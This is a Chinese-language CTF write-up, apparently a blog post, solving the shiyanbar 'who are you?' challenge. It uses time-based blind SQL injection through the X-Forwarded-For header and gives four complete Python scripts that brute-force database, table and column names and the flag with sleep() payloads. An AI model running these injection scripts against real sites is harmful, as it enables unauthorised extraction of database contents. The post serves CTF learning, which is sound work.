who are you?-实验吧

本文通过实战案例介绍如何利用时间盲注技术在CTF竞赛中获取目标数据库信息,包括数据库名、表名及列名等关键数据,并最终提取flag。

who are you?

这道题点开看见your ip is :xxx.xxx.xx.xxx

然后试了巨久改ip,改了一堆了还是撤都没有

然后看了大佬的wp的说是时间盲注,试了一下,确实有延迟,然后就用脚本进行时间盲注了

爆数据库

#-*-coding:utf-8-*-
#暴力数据库
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
database = []

print('start.')
for database_number in range(0,100):  #爆破前100个库
    database_name =''
    for i in range(1,100):  #字符串长度最多为100
        flag = 0
        for str in guess:  #爆破该位置的字符
            headers = {
                "X-Forwarded-For":"'+"+"(select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(database_number,i,str)
            }
            try:
                res = requests.get(url,headers=headers,timeout=4)
            except:
                database_name+=str
                flag = 1
                print('scaning no.%d database.'%(database_number+1),database_name)
                break
        if flag==0:
            break
    database.append(database_name)
    if i==1 and flag==0:
        print('finished.')
        break

for i in range(len(database)):
    print(database[i])

然后就能看到有什么数据库了

爆数据表

这里前面是爆了43个数据库,然后我们猜测是在最后一个数据库

贴波脚本

#-*- coding:utf-8-*-
#暴力数据表
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
tables = []

print('start')
for table_number in range(41,43):
    tablename = ""
    for i in range(1,100):
        flag = 0
        for str in guess:
            headers={
                "X-Forwarded-For":"'+"+"(select case when (substring((select table_name from information_schema.TABLES limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(table_number,i,str)
            }
            try:
                res = requests.get(url,headers=headers,timeout=4)
            except:
                tablename+=str
                flag=1
                print('scaning no.%d database '%(table_number+1),tablename)
                break
        if flag==0:
            break
    tables.append(tablename)
    if i==1 and flag==0:
        print('finished.')
        break
for i in range(len(tables)):
    print(tables[i])

就可以看见最后一个数据库里面有个flag表

接着爆字项,这个也是前面扫了一下有485个列,也是去扫一下最后一列

# -*- coding:utf-8 -*-
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
columns=[]

for column_number in range(484,485):            #爆破后面的
    cloumnname=''
    for i in range(1,100):                  #爆破字符串长度不超过100
        flag=0
        for str in guess:                   #爆破该位置的字符
            headers = {"X-forwarded-for":"'+"+" (select case when (substring((select COLUMN_name from information_schema.COLUMNS limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(column_number,i,str)}
            try:
                res=requests.get(url,headers=headers,timeout=4)
            except:
                cloumnname+=str
                flag=1
                print('scaning the no.%d column '%(column_number+1) ,cloumnname)
                break
        if flag==0:
            break
    columns.append(cloumnname)
    if i==1 and flag==0:
        print('finished.')
        break

for i in range(len(columns)):
    print(columns[i])


可以看到最后一列是有flag的,最后就是暴力出它的值就行了

#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.ascii_lowercase + string.ascii_uppercase + string.digits
flag=""

for i in range(1,100):
    biaoji=0
    for str in guess:
        headers={"X-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}
        try:
            res=requests.get(url,headers=headers,timeout=6)
        except(requests.exceptions.ReadTimeout):
            biaoji=1
            flag = flag + str
            print( "flag:", flag)
            break
    if biaoji==0:
        break
print( 'result:' + flag)

这样就出来flag了

这个扫出来是真的慢,等到我从一条咸鱼都发霉变成了霉香咸鱼了...............

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值